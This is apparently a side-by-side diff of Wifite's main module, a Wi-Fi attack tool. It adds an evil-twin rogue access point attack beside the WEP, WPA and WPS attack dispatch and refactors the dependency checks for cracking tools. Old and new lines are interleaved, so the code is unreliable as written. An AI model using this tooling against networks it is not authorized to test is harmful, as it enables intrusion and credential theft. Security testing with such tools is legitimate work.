Configuration.initialize(load_interface=False) Configuration.initialize(load_interface=False)
self.dependency_check()
if Configuration.show_cracked: if Configuration.show_cracked:
self.display_cracked() self.display_cracked()
elif Configuration.check_handshake: elif Configuration.check_handshake:
self.check_handshake(Configuration.check_handshake) self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake: elif Configuration.crack_handshake:
CrackHandshake() CrackHandshake()
else: else:
Configuration.get_interface() Configuration.get_monitor_mode_interface()
self.run() self.run()
def dependency_check(self): def dependency_check(self):
''' Check that required programs are installed ''' ''' Check that required programs are installed '''
required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng'] from .tools.airmon import Airmon
optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger', 'tshark'] from .tools.airodump import Airodump
missing_required = False from .tools.aircrack import Aircrack
missing_optional = False from .tools.aireplay import Aireplay
from .tools.ifconfig import Ifconfig
from .tools.iwconfig import Iwconfig
from .tools.hostapd import Hostapd
from .tools.dnsmasq import Dnsmasq
from .tools.iptables import Iptables
from .tools.bully import Bully
from .tools.reaver import Reaver
from .tools.wash import Wash
from .tools.pyrit import Pyrit
from .tools.tshark import Tshark
from .tools.macchanger import Macchanger
for app in required_apps: apps = [
if not Process.exists(app): # Aircrack
missing_required = True Airmon, Airodump, Aircrack, Aireplay,
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app) # wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Misc
Macchanger
]
for app in optional_apps: if Configuration.use_eviltwin:
if not Process.exists(app): apps.extend([Hostapd, Dnsmasq, Iptables])
missing_optional = True
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app) missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required: if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}') Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
sys.exit(-1) sys.exit(-1)
if missing_optional: #if missing_optional:
Color.pl('{!} {O}recommended app(s) were not found') # Color.pl('{!} {O}recommended app(s) were not found')
Color.pl('{!} {O}wifite may not work as expected{W}') # Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self): def display_cracked(self):
''' Show cracked targets from cracked.txt ''' ''' Show cracked targets from cracked.txt '''
@@ -125,6 +148,10 @@ class Wifite(object):
else: else:
targets = s.select_targets() targets = s.select_targets()
if Configuration.use_eviltwin:
# Ask user to select interface if needed
Configuration.get_eviltwin_interface()
attacked_targets = 0 attacked_targets = 0
targets_remaining = len(targets) targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1): for idx, t in enumerate(targets, start=1):
@@ -134,9 +161,17 @@ class Wifite(object):
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' ' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown")) % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
if 'WEP' in t.encryption:
# TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin:
attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface)
elif 'WEP' in t.encryption:
attack = AttackWEP(t) attack = AttackWEP(t)
elif 'WPA' in t.encryption: elif 'WPA' in t.encryption:
# TODO: Move WPS+WPA decision to a combined attack
if t.wps: if t.wps:
attack = AttackWPS(t) attack = AttackWPS(t)
result = False result = False
@@ -149,8 +184,8 @@ class Wifite(object):
from traceback import format_exc from traceback import format_exc
Color.p('\n{!} ') Color.p('\n{!} ')
err = format_exc().strip() err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ') err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}File') err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}') err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err) Color.pl(err)
except KeyboardInterrupt: except KeyboardInterrupt:
@@ -181,8 +216,8 @@ class Wifite(object):
from traceback import format_exc from traceback import format_exc
Color.p('\n{!} ') Color.p('\n{!} ')
err = format_exc().strip() err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ') err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}File') err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}') err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err) Color.pl(err)
except KeyboardInterrupt: except KeyboardInterrupt:
@@ -243,8 +278,8 @@ def run():
from traceback import format_exc from traceback import format_exc
Color.p('\n{!} ') Color.p('\n{!} ')
err = format_exc().strip() err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ') err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}File') err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}') err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err) Color.pl(err)